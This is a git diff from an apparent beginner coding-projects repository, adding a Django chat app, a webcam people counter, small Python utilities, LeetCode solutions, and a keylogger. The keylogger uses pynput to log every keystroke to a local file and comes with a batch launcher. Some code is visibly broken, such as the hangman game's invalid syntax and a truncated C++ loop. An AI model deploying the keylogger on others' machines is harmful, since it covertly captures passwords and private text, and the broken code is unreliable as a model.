diff --git a/.github/workflows/gitartwork.yml b/.github/workflows/gitartwork.yml deleted file mode 100644 index b204a14a2..000000000 --- a/.github/workflows/gitartwork.yml +++ /dev/null @@ -1,18 +0,0 @@ - name: gitartwork from a contribution graph - on: - push: - schedule: - - cron: '* */6 * * *' - jobs: - build: - name: Make gitartwork SVG - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - - uses: jasineri/gitartwork@v1 - with: - # Use this username's contribution graph - user_name: Arindam200 - # Text on contribution graph - text: ThankYou - - uses: jasineri/simple-push-action@v1 diff --git a/Chat-App/Chatapp/app.py b/Chat-App/Chatapp/app.py new file mode 100644 index 000000000..3ce4e2f83 --- /dev/null +++ b/Chat-App/Chatapp/app.py @@ -0,0 +1,13 @@ +INSTALLED_APPS = [ + 'chat.apps.ChatConfig', + + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + + # add django channels + 'channels' , +] diff --git a/Chat-App/Chatapp/asgi.py b/Chat-App/Chatapp/asgi.py new file mode 100644 index 000000000..12eb99328 --- /dev/null +++ b/Chat-App/Chatapp/asgi.py @@ -0,0 +1,21 @@ +ASGI_APPLICATION = 'ChatApp.asgi.application' + +import os +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'ChatApp.settings') + +from channels.auth import AuthMiddlewareStack +from channels.routing import ProtocolTypeRouter , URLRouter +from chat import routing + +application = ProtocolTypeRouter( + { + "http" : get_asgi_application() , + "websocket" : AuthMiddlewareStack( + URLRouter( + routing.websocket_urlpatterns + ) + ) + } +) diff --git a/Chat-App/Chatapp/settings.py b/Chat-App/Chatapp/settings.py new file mode 100644 index 000000000..652099a44 --- /dev/null +++ b/Chat-App/Chatapp/settings.py @@ -0,0 +1,5 @@ +CHANNEL_LAYERS = { + "default": { + "BACKEND": "channels.layers.InMemoryChannelLayer" + } +} diff --git a/Chat-App/Chatapp/urls.py b/Chat-App/Chatapp/urls.py new file mode 100644 index 000000000..e1f36d010 --- /dev/null +++ b/Chat-App/Chatapp/urls.py @@ -0,0 +1,9 @@ +## This will route you to your chat app. + +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + path('admin/', admin.site.urls), + path("", include("chat.urls")), +] diff --git a/Chat-App/README.md b/Chat-App/README.md new file mode 100644 index 000000000..ee7d05003 --- /dev/null +++ b/Chat-App/README.md @@ -0,0 +1,103 @@ +# Realtime-chat-app-using-Django + Chat Room has been the most basic step toward creating real-time and live projects. The chat page that we will create will be a simple HTML boilerplate with a simple h1 text with the name of the current user and a link to log out to the user who is just logged in. You may need to comment on the line until we create auth system for this + +> Prerequisites: + +* Django +* Django Migrations +* Django Channel + +# Steps for creating the chat application: +**Step 1:** [Install](https://www.geeksforgeeks.org/django-introduction-and-installation/#:~:text=activate-,Install%20Django,-%2D%20Install%20django) and setup Django + +**Step 2:** Create your [virtual environment](https://www.geeksforgeeks.org/python-virtual-environment/). + +**Step 3:** Then create a Django project named ChatApp. For creating the project write the command in your terminal. +```sh +django-admin startproject ChatApp +``` +**Step 4:** Clone the repository + +**Step 5:** Install django-channels for working with the chat app. This will install channels to your environment. +```sh +python -m pip install -U channels +``` +**Step 6:** After installing channels, add channels to your installed apps. This will let Django know that channels had been introduced in the project and we can work further. +> PYTHON 3 +```sh +INSTALLED_APPS = [ + 'chat.apps.ChatConfig', + + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + + # add django channels + 'channels' , +] + +``` +**Step 7:** Set the ASGI application to your default ASGI file in the project. Now run the server, you will notice that the ASGI server will take place over the Django server and it will support ASGI now. +```sh +ASGI_APPLICATION = 'ChatApp.asgi.application' +``` +To run the server, write the following command in the terminal. +```sh +python manage.py runserver + +``` +![Screenshot 2022-10-08 201412](https://user-images.githubusercontent.com/102956488/194713167-1b9d803c-857e-434b-a6e6-d34ce6f3e51b.png) + +**Step 8:** Create a new app that will have all the chat functionality. To create an app write a command in the terminal. +```sh +python manage.py startapp chat +``` +And add your app to the installed apps in settings.py. + +![Screenshot 2022-10-09 103619](https://user-images.githubusercontent.com/102956488/194739375-b53824e4-d71b-4dc5-ad32-2bbd20535a9f.png) + +**Step 9:** Clone the files in your chat app +* chat/urls.py: This will route the Django application to different views in the app. +* Create a templates folder: Inside your app, create two files inside the template/chat named chat.Page.html, and LoginPage.html. +* routing.py: This will route the WebSocket connections to the consumers. +* consumers.py: This is the file where all the asynchronous functionality will take place + +**Step 10:** Firstly migrate your database. +```sh +python manage.py makemigrations +``` +```sh +python manage.py migrate +``` + +**Step 11:** Open routing.py and create a route for ChatConsumer (which we will be creating in the next step). Now we have two types of routings in the project. First is urls.py which is for the native Django routing of URLs, and another is for the WebSockets for ASGI support of Django. + +**Step 12.** Open consumers.py will handle the events, like onmessage event, onopen event, etc, We will see these events in chatPage.html where we have created the socket connection. + +Code explanation: + +* class ChatConsumer(AsyncWebsocketConsumer): Here we are creating a class named ChatConsumer which inherits from AsyncWebsocketConsumer and is used to create, destroy and do a few more things with WebSockets. And here we are creating ChatSocket for the required purpose. +* async def connect(self): This function works on the websocket instance which has been created and when the connection is open or created, it connects and accepts the connection. It creates a group name for the chatroom and adds the group to the channel layer group. +* async def disconnect(): This just removes the instance from the group. +* async def receive(): This function is triggered when we send data from the WebSocket ( the event for this to work is: send ), this receives the text data which has been converted into the JSON format ( as it is suitable for the javascript ) after the text_data has been received, then it needs to be spread out to the other instances which are active in the group. we retrieve the message parameter which holds the message and the username parameter which was sent by the socket via HTML or js. This message which is received will be spread to other instances via the channel_layer.group_send() method which takes the first argument as the roomGroupName that to which group this instance belongs and where the data needs to be sent. then the second argument is the dictionary which defines the function which will handle the sending of the data ( “type”: “sendMessage” ) and also dictionary has the variable message which holds the message data. +* async def sendMessage(self, event): This function takes the instance which is sending the data and the event, basically event holds the data which was sent via the group_send() method of the receive() function. Then it sends the message and the username parameter to all the instances which are active in the group. And it is dumped in JSON format so that js can understand the notation. JSON is the format ( Javascript object notation) + +**Step 13:** Write the below code in your asgi.py for making it work with sockets and creating routings. +We usually work with wsgi.py which is in the standard Django without any asynchronous support. But here we are using asynchronous channels. So we have to define the routings in a different way than URLs. For HTTP we define that use the normal application which we were already using, now we have introduced another protocol, that is ws ( WebSocket ) for which you have to route. The ProtocolTypeRouter creates routes for different types of protocols used in the application. AuthMiddlewareStack authenticates the routes and instances for the Authentication and URLRouter routes the ws ( WebSocket connections ). The protocol for WebSockets is known as “ws”. For different requests we use HTTP. + +Here the router routes the WebSocket URL to a variable in the chat app that is “websocket_urlpatterns” and this variable holds the routes for the WebSocket connections. + +**Step 14:** This code defines the channel layer in which we will be working and sharing data. For the deployment and production level, don’t use InMemoryChannelLayer, because there are huge chances for your data leakage. This is not good for production. For production use the Redis channel. + +**Step 15:** Now, we need to create 2 users for that we will use “python manage.py createsuperuser” command which creates a superuser in the system. + +![Screenshot 2022-10-08 202209](https://user-images.githubusercontent.com/102956488/194713500-0b432de7-0c3d-49f4-ae6c-8d5bd26d4b55.png) + +**Step 16:** We have set the parameter LOGIN_REDIRECT_URL = “chat-page”, this is the name of our landing page URL. This means that whenever the user gets logged in, he will be sent to the chatPage as a verified user and he is eligible to chat through. Now similarly we need to set up the LOGOUT_REDIRECT_URL for the site. + +## Finally Deployment +Now, run your server and move to the site and start two different browsers to log into two other users. It is because if you have logged in with first user credentials, the login details are stored in the cookies, then if you log in from second user details in the same browser even with different tabs, So, you cannot chat with two other users in the same browser, that’s why to use two different browsers. + diff --git a/Chat-App/chat/consumers.py b/Chat-App/chat/consumers.py new file mode 100644 index 000000000..867c2c130 --- /dev/null +++ b/Chat-App/chat/consumers.py @@ -0,0 +1,30 @@ +import json +from channels.generic.websocket import AsyncWebsocketConsumer + +class ChatConsumer(AsyncWebsocketConsumer): + async def connect(self): + self.roomGroupName = "group_chat_gfg" + await self.channel_layer.group_add( + self.roomGroupName , + self.channel_name + ) + await self.accept() + async def disconnect(self , close_code): + await self.channel_layer.group_discard( + self.roomGroupName , + self.channel_layer + ) + async def receive(self, text_data): + text_data_json = json.loads(text_data) + message = text_data_json["message"] + username = text_data_json["username"] + await self.channel_layer.group_send( + self.roomGroupName,{ + "type" : "sendMessage" , + "message" : message , + "username" : username , + }) + async def sendMessage(self , event) : + message = event["message"] + username = event["username"] + await self.send(text_data = json.dumps({"message":message ,"username":username})) diff --git a/Chat-App/chat/routing.py b/Chat-App/chat/routing.py new file mode 100644 index 000000000..379e184e6 --- /dev/null +++ b/Chat-App/chat/routing.py @@ -0,0 +1,8 @@ +from django.urls import path , include +from chat.consumers import ChatConsumer + +# Here, "" is routing to the URL ChatConsumer which +# will handle the chat functionality. +websocket_urlpatterns = [ + path("" , ChatConsumer.as_asgi()) , +] diff --git a/Chat-App/chat/urls.py b/Chat-App/chat/urls.py new file mode 100644 index 000000000..f3ad4a770 --- /dev/null +++ b/Chat-App/chat/urls.py @@ -0,0 +1,15 @@ +## This will route you toward views. + +from django.urls import path, include +from chat import views as chat_views +from django.contrib.auth.views import LoginView, LogoutView + + +urlpatterns = [ + path("", chat_views.chatPage, name="chat-page"), + + # login-section + path("auth/login/", LoginView.as_view + (template_name="chat/LoginPage.html"), name="login-user"), + path("auth/logout/", LogoutView.as_view(), name="logout-user"), +] diff --git a/Chat-App/chat/views.py b/Chat-App/chat/views.py new file mode 100644 index 000000000..a2a808bf5 --- /dev/null +++ b/Chat-App/chat/views.py @@ -0,0 +1,11 @@ +## This will route your views to the chatPage.html that had been created in the templates folder of the chat app. + + +from django.shortcuts import render, redirect + + +def chatPage(request, *args, **kwargs): + if not request.user.is_authenticated: + return redirect("login-user") + context = {} + return render(request, "chat/chatPage.html", context) diff --git a/Chat-App/templates folder/LoginPage.html b/Chat-App/templates folder/LoginPage.html new file mode 100644 index 000000000..3fd9ddfac --- /dev/null +++ b/Chat-App/templates folder/LoginPage.html @@ -0,0 +1,17 @@ +## {{request.user.userrname}} tells the username of the currently logged-in user. If the user is logged in, +it will give its username; if it’s not logged in, it will print nothing. The chat page looks like this now, +because there is no current logged-in user and {{request.user.username}} prints out nothing. + + + + +
+ {% csrf_token %} + {{form.as_p}} +
+ +
+ + + + diff --git a/Chat-App/templates folder/chat.Page.html b/Chat-App/templates folder/chat.Page.html new file mode 100644 index 000000000..9b5d6d188 --- /dev/null +++ b/Chat-App/templates folder/chat.Page.html @@ -0,0 +1,53 @@ + + + +

Hello , Welcome to my chat site ! {{request.user}}

+
+ {% if request.user.is_authenticated %} +
Logout the chat Page Logout
+ {% endif %} +
+
+ + +
+
+
+ + + +### The URL is in Django format, this is Django syntax to map to a URL. We will create a URL named “logout-user”, +then Django will map this URL name to the URL from the template. Django provides a few pythonic syntaxes to deal +with the control statement. Here we have provided {% if request.user.is_authenticated %} line in the HTML, this is + given by Django which ensures that if there is any user who is logged in, then only displays the logout link. \ No newline at end of file diff --git a/Counting people within a frame/main.py b/Counting people within a frame/main.py new file mode 100644 index 000000000..f94e26b6b --- /dev/null +++ b/Counting people within a frame/main.py @@ -0,0 +1,47 @@ +import cv2 +import imutils + +hog = cv2.HOGDescriptor() +hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector()) + +face_cascade = cv2.CascadeClassifier("C:\\Users\\aishw\\OneDrive\\Desktop\\urgh\\face_detection\\haarcascade_frontalface_default.xml") + +cap = cv2.VideoCapture(0) #opens webcam + +while cap.isOpened(): #each frame of the video is converted to gray. rgb to gray + ret, img, = cap.read() + gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) + faces = face_cascade.detectMultiScale(gray,1.1, 4 ) + + for x,y,w,h in faces: + img = cv2.rectangle(img, (x,y), (x+w,y+h),(0,255,0),3) + + + + if ret: + image = imutils.resize(img, + width=min(400, img.shape[1])) + + # Detecting all the regions + # in the Image that has a + # pedestrians inside it + (regions, _) = hog.detectMultiScale(img,winStride=(4, 4), padding=(4, 4), scale=1.05) + + # Drawing the regions in the + # Image + person=1 + for (x, y, w, h) in regions: + + cv2.rectangle(img, (x, y),(x + w, y + h),(0, 0, 255), 2) + cv2.putText(img, f'person {person}', (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1) + person+=1 + print(person-1) + # Showing the output Image + cv2.imshow("Image", image) + if cv2.waitKey(25) & 0xFF == ord('q'): + break + else: + break + +cap.release() +cv2.destroyAllWindows diff --git a/Eclipsion99/Binarysearch.py b/Eclipsion99/Binarysearch.py new file mode 100644 index 000000000..9111c0853 --- /dev/null +++ b/Eclipsion99/Binarysearch.py @@ -0,0 +1,23 @@ +arr = list(map(int, input("Enter elements:").split())) +elem = int(input("Enter element to search:")) + +def binary_search(L, x): + + l = 0 + r = len(L) - 1 + m = 0 + while l <= r: + m = (r + l) // 2 + if L[m] < x: + l = m + 1 + elif L[m] > x: + r = m - 1 + else: + return m + return -1 + +res = binary_search(arr, elem) +if res == -1: + print("Element not found") +else: + print("Element found at index:",res) diff --git a/Email slicer/Email_slicer.py b/Email slicer/Email_slicer.py new file mode 100644 index 000000000..c741ae981 --- /dev/null +++ b/Email slicer/Email_slicer.py @@ -0,0 +1,6 @@ +email = input("Enter Your Email: ").strip() + +username = email[:email.index('@')] +domain = email[email.index('@') + 1:] + +print(f"Your username is {username} & domain is {domain}") diff --git a/Hangman game/hangman.py b/Hangman game/hangman.py new file mode 100644 index 000000000..8505b227d --- /dev/null +++ b/Hangman game/hangman.py @@ -0,0 +1,123 @@ +class Hangman(): + def __init__(self): + print "Welcome to 'Hangman', are you ready to die?" + print "(1)Yes, for I am already dead.\n(2)No, get me outta here!" + user_choice_1 = raw_input("->") + + if user_choice_1 == '1': + print "Loading nooses, murderers, rapists, thiefs, lunatics..." + self.start_game() + elif user_choice_1 == '2': + print "Bye bye now..." + exit() + else: + print "I'm sorry, I'm hard of hearing, could you repeat that?" + self.__init__() + + def start_game(self): + print "A crowd begins to gather, they can't wait to see some real" + print "justice. There's just one thing, you aren't a real criminal." + print "No, no. You're the wrong time, wrong place type. You may think" + print "you're dead, but it's not like that at all. Yes, yes. You've" + print "got a chance to live. All you've gotta do is guess the right" + print "words and you can live to see another day. But don't get so" + print "happy yet. If you make 6 wrong guess, YOU'RE TOAST! VAMANOS!" + self.core_game() + + def core_game(self): + guesses = 0 + letters_used = "" + the_word = "pizza" + progress = ["?", "?", "?", "?", "?"] + + while guesses < 6: + guess = raw_input("Guess a letter ->") + + if guess in the_word and not in letters_used: + print "As it turns out, your guess was RIGHT!" + letters_used += "," + guess + self.hangman_graphic(guesses) + print "Progress: " + self.progress_updater(guess, the_word, progress) + print "Letter used: " + letters_used + elif guess not in the_word and not(in letters_used): + guesses += 1 + print "Things aren't looking so good, that guess was WRONG!" + print "Oh man, that crowd is getting happy, I thought you" + print "wanted to make them mad?" + letters_used += "," + guess + self.hangman_graphic(guesses) + print "Progress: " + "".join(progress) + print "Letter used: " + letters_used + else: + print "That's the wrong letter, you wanna be out here all day?" + print "Try again!" + + + + def hangman_graphic(self, guesses): + if guesses == 0: + print "________ " + print "| | " + print "| " + print "| " + print "| " + print "| " + elif guesses == 1: + print "________ " + print "| | " + print "| 0 " + print "| " + print "| " + print "| " + elif guesses == 2: + print "________ " + print "| | " + print "| 0 " + print "| / " + print "| " + print "| " + elif guesses == 3: + print "________ " + print "| | " + print "| 0 " + print "| /| " + print "| " + print "| " + elif guesses == 4: + print "________ " + print "| | " + print "| 0 " + print "| /|\ " + print "| " + print "| " + elif guesses == 5: + print "________ " + print "| | " + print "| 0 " + print "| /|\ " + print "| / " + print "| " + else: + print "________ " + print "| | " + print "| 0 " + print "| /|\ " + print "| / \ " + print "| " + print "The noose tightens around your neck, and you feel the" + print "sudden urge to urinate." + print "GAME OVER!" + self.__init__() + + def progress_updater(self, guess, the_word, progress): + i = 0 + while i < len(the_word): + if guess == the_word[i]: + progress[i] = guess + i += 1 + else: + i += 1 + + return "".join(progress) + +game = Hangman() diff --git a/Keylogger/Automatic script.bat b/Keylogger/Automatic script.bat new file mode 100644 index 000000000..c3fbbd3ea --- /dev/null +++ b/Keylogger/Automatic script.bat @@ -0,0 +1,3 @@ +cd C:\Users\MANISH\AppData\Local\Programs\Python\Python38-32\Python projects\Extras\Keylogger +python Keylogger.py +exit \ No newline at end of file diff --git a/Keylogger/Basic keystorkes.txt b/Keylogger/Basic keystorkes.txt new file mode 100644 index 000000000..7aa1a3742 --- /dev/null +++ b/Keylogger/Basic keystorkes.txt @@ -0,0 +1,19 @@ +Key.media_previous - media_gobackwards,f6 +Key.media_play_pause - media_pause,f7 +Key.media_next - media_goforward,f8 +Key.media_volume_down - volume_increase,f9 +Key.media_volume_up - volume_decrease,f10 +Key.media_volume_mute - volume_mute,f11 +Key.print_screen - take screenshort +Key.right - right arrow +Key.down - down arrow +Key.up - up arrow +Key.left - left arrow +Key.ctrl_r - right ctrl button +Key.alt_r - right alt button +Key.alt_l - left alt button +Key.ctrl_l - left ctrl button +Win - move to start menu +Key.shift_r - right shift button +Key.caps_lock - capslock button +Key.tab - tab button diff --git a/Keylogger/Keylogger.py b/Keylogger/Keylogger.py new file mode 100644 index 000000000..81fc4fbf6 --- /dev/null +++ b/Keylogger/Keylogger.py @@ -0,0 +1,21 @@ +from pynput.keyboard import Listener + + +def save(key): + keydata=str(key) + keydata=keydata.replace("'","") + + if keydata=="Key.space": + keydata=" " + if keydata=="Key.shift": + keydata="" + if keydata=="Key.cmd": + keydata="Win " + if keydata=="Key.enter": + keydata="\n" + with open("locker.txt","a") as a: + a.write(keydata) + + +with Listener(on_press=save) as b: + b.join() diff --git a/Keylogger/Other keystorkes.txt b/Keylogger/Other keystorkes.txt new file mode 100644 index 000000000..2ae90e8e2 --- /dev/null +++ b/Keylogger/Other keystorkes.txt @@ -0,0 +1,13 @@ +Key.esc - Esc +Win Key.f1 - Help,f1 +<255> - brighteness_increase,f2 +<255> - brightness_decrease,f3 +Win p - projecter options,f4 +m - browser,f5 +Key.insert - insert button +Key.delete - delete button +Key.home - move to home page +Key.page_up - move towards the first page +Key.page_down - move towards the bottom page +Key.end - move cursor to the last letter +Key.menu - menu button diff --git a/Projects/Simple-calculator/requirements.txt b/Keylogger/locker.txt similarity index 100% rename from Projects/Simple-calculator/requirements.txt rename to Keylogger/locker.txt diff --git a/Leetcode_Solutions/3sumCloset/3sum_closet.py b/Leetcode_Solutions/3sumCloset/3sum_closet.py new file mode 100644 index 000000000..3579a8f77 --- /dev/null +++ b/Leetcode_Solutions/3sumCloset/3sum_closet.py @@ -0,0 +1,25 @@ +#Given an integer array nums of length n and an integer target, find three integers in nums such that the sum is closest to target. + +#Return the sum of the three integers. + +# Input: nums = [-1,2,1,-4], target = 1 +# Output: 2 + +def threeSumClosest(self, nums: List[int], target: int) -> int: + diff = float('inf') + nums.sort() + for i, num in enumerate(nums): + lo, hi = i + 1, len(nums) - 1 + while (lo < hi): + sum = num + nums[lo] + nums[hi] + if abs(target - sum) < abs(diff): + diff = target - sum + + if sum < target: + lo += 1 + else: + hi -= 1 + if diff == 0: + break + + return target - diff diff --git a/Leetcode_Solutions/4SUM/4_SUM.py b/Leetcode_Solutions/4SUM/4_SUM.py new file mode 100644 index 000000000..7dec1f5ff --- /dev/null +++ b/Leetcode_Solutions/4SUM/4_SUM.py @@ -0,0 +1,45 @@ +# Given an array nums of n integers and an integer target, are there elements a, b, c, and d in nums such that a + b + c + d = target +#Find all unique quadruplets in the array which gives the sum of target. +# Input: nums = [1,0,-1,0,-2,2], target = 0 +# Output: [[-2,-1,1,2],[-2,0,0,2],[-1,0,0,1]] + + +def fourSum(nums: List[int], target: int) -> List[List[int]]: + + quadruplets = list() + + if nums is None or len(nums) < 4: + return quadruplets + + nums.sort() + + n = len(nums) + + for i in range(0, n - 3): + + if i > 0 and nums[i] == nums[i - 1]: + continue + + for j in range(i + 1, n - 2): + + if j != i + 1 and nums[j] == nums[j - 1]: + continue + + k = j + 1 + l = n - 1 + + while k < l: + current_sum = nums[i] + nums[j] + nums[k] + nums[l] + if current_sum < target: + k += 1 + elif current_sum > target: + l -= 1 + else: + quadruplets.append([nums[i], nums[j], nums[k], nums[l]]) + k += 1 + l -= 1 + while k < l and nums[k] == nums[k - 1]: + k += 1 + while k < l and nums[l] == nums[l + 1]: + l -= 1 + return quadruplets diff --git a/Leetcode_Solutions/Breaking a Palindrome/breaking_a_palindrome.cpp b/Leetcode_Solutions/Breaking a Palindrome/breaking_a_palindrome.cpp new file mode 100644 index 000000000..854594403 --- /dev/null +++ b/Leetcode_Solutions/Breaking a Palindrome/breaking_a_palindrome.cpp @@ -0,0 +1,24 @@ +// Approach 2 +class Solution { +public: + string breakPalindrome(string palindrome) { + + int n = palindrome.size(); + // if string size less than 1 + if(n==1) + return ""; // return empty string + int i=0; + while(i=n){ + palindrome[n-1] = 'b'; + } + return palindrome; + } +}; diff --git a/Leetcode_Solutions/Breaking a Palindrome/readme.md b/Leetcode_Solutions/Breaking a Palindrome/readme.md new file mode 100644 index 000000000..1b881d5b2 --- /dev/null +++ b/Leetcode_Solutions/Breaking a Palindrome/readme.md @@ -0,0 +1,40 @@ +# 1328. Break a Palindrome + +#### Difficulty level: Medium + +--- +Given a palindromic string of lowercase English letters palindrome, replace exactly one character with any lowercase English letter so that the resulting string is not a palindrome and that it is the lexicographically smallest one possible. + +Return the resulting string. If there is no way to replace a character to make it not a palindrome, return an empty string. + +A string a is lexicographically smaller than a string b (of the same length) if in the first position where a and b differ, + +a has a character strictly smaller than the corresponding character in b. For example, "abcc" is lexicographically smaller than "abcd" + +because the first position they differ is at the fourth character, and 'c' is smaller than 'd'. +``` +Example 1: +Input: palindrome = "abccba" +Output: "aaccba" +Explanation: There are many ways to make "abccba" not a palindrome, such as "zbccba", "aaccba", and "abacba". +Of all the ways, "aaccba" is the lexicographically smallest. +``` + +``` +Example 2: +Input: palindrome = "a" +Output: "" +Explanation: There is no way to replace a single character to make "a" not a palindrome, so return an empty string. + +``` +--- + +### Constraints: +``` +1 <= palindrome.length <= 1000 +palindrome consists of only lowercase English letters. +``` +--- + +>Problem link on leet code: + https://leetcode.com/problems/break-a-palindrome/ diff --git a/Leetcode_Solutions/Container with most water #11/README.md b/Leetcode_Solutions/Container with most water #11/README.md new file mode 100644 index 000000000..9bb84cf33 --- /dev/null +++ b/Leetcode_Solutions/Container with most water #11/README.md @@ -0,0 +1,24 @@ +[11. Container With Most Water](https://leetcode.com/problems/container-with-most-water/) + +Difficulty: Medium + +Description: You are given an integer array height of length n. There are n vertical lines drawn such that the two endpoints of the ith line are (i, 0) and (i, height[i]). +Find two lines that together with the x-axis form a container, such that the container contains the most water.Return the maximum amount of water a container can store.Notice that you may not slant the container. + + + +Example 1: +Input: height = [1,8,6,2,5,4,8,3,7] +Output: 49 +Explanation: The above vertical lines are represented by array [1,8,6,2,5,4,8,3,7]. In this case, the max area of water (blue section) the container can contain is 49. + +Example 2: +Input: height = [1,1] +Output: 1 + + +Constraints: + +n == height.length +2 <= n <= 105 +0 <= height[i] <= 104 diff --git a/Leetcode_Solutions/Container with most water #11/containerWithMostWater.py b/Leetcode_Solutions/Container with most water #11/containerWithMostWater.py new file mode 100644 index 000000000..328a90608 --- /dev/null +++ b/Leetcode_Solutions/Container with most water #11/containerWithMostWater.py @@ -0,0 +1,16 @@ +def maxArea(self, height: List[int]) -> int: + start = 0 + end = len(height) - 1 + maxArea = 0 + while start < end: + currArea = end - start + if height[start] < height[end]: + currArea *= height[start] + start += 1 + else: + currArea *= height[end] + end -= 1 + if maxArea < currArea: + maxArea = currArea + + return maxArea diff --git a/Leetcode_Solutions/DecodeWays/DecodeWays.py b/Leetcode_Solutions/DecodeWays/DecodeWays.py new file mode 100644 index 000000000..1c0a63589 --- /dev/null +++ b/Leetcode_Solutions/DecodeWays/DecodeWays.py @@ -0,0 +1,69 @@ +''' + +LeetCode Question No: 91 + +A message containing letters from A-Z can be encoded into numbers using the following mapping: + +'A' -> "1" +'B' -> "2" +... +'Z' -> "26" +To decode an encoded message, all the digits must be grouped then mapped back into letters using the reverse of the mapping above (there may be multiple ways). For example, "11106" can be mapped into: + +"AAJF" with the grouping (1 1 10 6) +"KJF" with the grouping (11 10 6) +Note that the grouping (1 11 06) is invalid because "06" cannot be mapped into 'F' since "6" is different from "06". + +Given a string s containing only digits, return the number of ways to decode it. + +The test cases are generated so that the answer fits in a 32-bit integer. + + + +Example 1: + +Input: s = "12" +Output: 2 +Explanation: "12" could be decoded as "AB" (1 2) or "L" (12). +Example 2: + +Input: s = "226" +Output: 3 +Explanation: "226" could be decoded as "BZ" (2 26), "VF" (22 6), or "BBF" (2 2 6). +Example 3: + +Input: s = "06" +Output: 0 +Explanation: "06" cannot be mapped to "F" because of the leading zero ("6" is different from "06"). + + +Constraints: + +1 <= s.length <= 100 +s contains only digits and may contain leading zero(s). + +''' + +#Solution: Time Complexity - O(n) and Space Complexity - O(n) + +class Solution: + def numDecodings(self, s: str) -> int: + + if s[0] == "0": + return 0 + + n = len(s) + dp = [0]*(n+1) + + dp[0] = 1 + dp[1] = 1 + + for i in range(2,n+1): + + if s[i-1] > '0': + dp[i] = dp[i-1] + + if s[i-2] == '1' or (s[i-2] == '2' and s[i-1] <= '6'): + dp[i] = dp[i] + dp[i-2] + + return dp[-1] diff --git a/Leetcode_Solutions/Happy Number #202/README.md b/Leetcode_Solutions/Happy Number #202/README.md new file mode 100644 index 000000000..868fa4154 --- /dev/null +++ b/Leetcode_Solutions/Happy Number #202/README.md @@ -0,0 +1,26 @@ +Write an algorithm to determine if a number n is happy. + +A happy number is a number defined by the following process: + +Starting with any positive integer, replace the number by the sum of the squares of its digits. +Repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. +Those numbers for which this process ends in 1 are happy. +Return true if n is a happy number, and false if not. + +Example 1: + +Input: n = 19 +Output: true +Explanation: +12 + 92 = 82 +82 + 22 = 68 +62 + 82 = 100 +12 + 02 + 02 = 1 +Example 2: + +Input: n = 2 +Output: false + +Constraints: + +1 <= n <= 231 - 1 diff --git a/Leetcode_Solutions/Happy Number #202/Solution.py b/Leetcode_Solutions/Happy Number #202/Solution.py new file mode 100644 index 000000000..610964468 --- /dev/null +++ b/Leetcode_Solutions/Happy Number #202/Solution.py @@ -0,0 +1,9 @@ +class Solution: + def isHappy(self, n: int) -> bool: + pst = set() + while n != 1: + n = sum(int(i)**2 for i in str(n)) + if n in pst: + return False + pst.add(n) + return True diff --git a/Leetcode_Solutions/Increasing Triplet Subsequence/README.md b/Leetcode_Solutions/Increasing Triplet Subsequence/README.md new file mode 100644 index 000000000..e02bb31c6 --- /dev/null +++ b/Leetcode_Solutions/Increasing Triplet Subsequence/README.md @@ -0,0 +1,39 @@ +# 334. Increasing Triplet Subsequence + +#### Difficulty level: Medium + +--- +Given an integer array nums, return true if there exists a triple of indices (i, j, k) such that i < j < k and nums[i] < nums[j] < nums[k]. If no such indices exists, return false. +``` +Example 1: +Input: nums = [1,2,3,4,5] +Output: true +Explanation: Any triplet where i < j < k is valid. +``` + +``` +Example 2: + +Input: nums = [5,4,3,2,1] +Output: false +Explanation: No triplet exists + +``` +``` +Example 3: + +Input: nums = [2,1,5,0,4,6] +Output: true +Explanation: The triplet (3, 4, 5) is valid because nums[3] == 0 < nums[4] == 4 < nums[5] == 6. +``` +--- + +### Constraints: +``` +1 <= nums.length <= 5 * 105 +-231 <= nums[i] <= 231 - 1 +``` +--- + +>Problem link on leet code: + https://leetcode.com/problems/increasing-triplet-subsequence/ diff --git a/Leetcode_Solutions/Increasing Triplet Subsequence/Solution.py b/Leetcode_Solutions/Increasing Triplet Subsequence/Solution.py new file mode 100644 index 000000000..6d070b209 --- /dev/null +++ b/Leetcode_Solutions/Increasing Triplet Subsequence/Solution.py @@ -0,0 +1,39 @@ +class Solution: + def increasingTriplet(self, nums: List[int]) -> bool: + # Edge case: input size too small + if len(nums) < 3: + return False + + # Search for first increasing pair (pair1, pair2) + pair1 = min(nums[0], nums[1]) + pair2 = nums[1] + i = 2 + # While pair is non increasing + while i < len(nums) and pair1 >= pair2: + # Found a viable increasing pair + if nums[i] > pair1: + pair2 = nums[i] + break + # Found a smaller number to use for pair1 + elif nums[i] < pair1: + pair1 = nums[i] + pair2 = nums[i] + i += 1 + + minNum = pair1 + for n in nums[i:]: + if pair1 < n and n < pair2: + # Update pair2 + pair2 = n + elif minNum < n and n < pair2: + # Update the full pair + pair1 = minNum + pair2 = n + elif n < minNum: + # Update the min num + minNum = n + elif pair2 < n: + # Answer found + return True + + return False diff --git a/Leetcode_Solutions/KadaneAlgo/Kadane_Algorithm.py b/Leetcode_Solutions/KadaneAlgo/Kadane_Algorithm.py new file mode 100644 index 000000000..69ec3fd29 --- /dev/null +++ b/Leetcode_Solutions/KadaneAlgo/Kadane_Algorithm.py @@ -0,0 +1,22 @@ +#Kadane's Algorithm is used to find the continuous subarray in the One-Dimensional integer array, which has the largest sum possible. + +def max_Subarray_Sum(my_array, array_size): + + maxTillNow = my_array[0] + maxEnding = 0 + + + for n in range(0, array_size): + maxEnding = maxEnding + my_array[n] + + if maxEnding < 0: + maxEnding = 0 + + elif (maxTillNow < maxEnding): + maxTillNow = maxEnding + + return maxTillNow + +my_array = [-2, -3, 4, -1, -2, 5, -3] + +print("Maximum Subarray Sum:", max_Subarray_Sum(my_array, len(my_array))) diff --git a/Leetcode_Solutions/Letter Combinations of a Phone Number/Letter Combinations of a Phone Number.py b/Leetcode_Solutions/Letter Combinations of a Phone Number/Letter Combinations of a Phone Number.py new file mode 100644 index 000000000..4c2d35c09 --- /dev/null +++ 